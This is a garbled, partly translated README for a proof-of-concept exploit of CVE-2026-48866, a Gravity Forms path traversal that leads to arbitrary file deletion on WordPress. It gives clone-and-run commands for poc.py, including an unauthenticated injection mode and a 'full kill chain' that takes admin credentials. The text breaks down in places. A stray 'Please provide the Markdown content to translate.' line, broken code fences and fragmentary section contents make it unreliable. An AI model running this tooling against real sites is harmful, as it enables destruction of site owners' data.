---``` ┌───────────────────────────────────────────────────────────┐ │ │ │ C V E - 2 0 2 6 - 4 8 8 6 6 │ │ │ │ Gravity Forms Path Traversal → Arbitrary File Deletion │ │ │ └───────────────────────────────────────────────────────────┘

<h3 align="center">
  <code>gform_uploaded_files</code> akzeptiert <code>../</code> in URLs. Ein Admin-Klick auf „Löschen“ löst eine beliebige Dateilöschung aus.
</h3>

<p align="center">
  <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-48866">NVD</a> •
  <a href="https://patchstack.com/database/wordpress/plugin/gravityforms/vulnerability/wordpress-gravity-forms-plugin-2-10-0-1-arbitrary-file-deletion-vulnerability">Patchstack</a> •
  <a href="https://github.com/codewurker/gravityforms/commit/cf2ff65133d581cfed1c308adc1621c3af1f8422">Patched Commit</a> •
  <a href="https://github.com/codewurker/gravityforms">Source Mirror</a>
</p>

---

## Inhaltsverzeichnis

<table>
<tr>
<td width="50%">

**Exploit**
- [Schnellstart](#quick-start)
- [Funktionsweise](#how-it-works)
- [Auswirkungen](#impact)
- [Nutzung](#usage)

</td>
<td width="50%">

**Verteidigung**
- [Technischer Einblick](#technical-deep-dive)
- [Erkennung](#detection)
- [Behebung](#remediation)
- [Referenzen](#references)

</td>
</tr>
</table>

---

## Schnellstart```
┌─────────────────────────────────────────────────────────────────────┐
│  REQUIREMENTS                                                       │
│  ───────────────────────────────────────────────────────────────    │
│  Target    WordPress + Gravity Forms ≤ 2.10.0.1                     │
│  Form      Public form with a file upload field                     │
│  Python    3.8+ with requests                                       │
│  Auth      None (injection) / Admin creds (trigger)                 │
└─────────────────────────────────────────────────────────────────────┘

Please provide the Markdown content to translate.```bash git clone https://github.com/0xABCD01/CVE-2026-48866.git cd CVE-2026-48866 pip install requests

python3 poc.py -t https://test.com -f 1 -i 3

Full kill chain (admin creds provided — immediate deletion)

python3 poc.py -t https://test.com -f 1 -i 3 --trigger --admin-user admin --admin-pass 'P@ssw0rd'

---

## So funktioniert es

CVE-2026-48866

Beliebteste

Inject only (unauthenticated — file dies when admin cleans entries)

Full kill chain (admin creds provided — immediate deletion)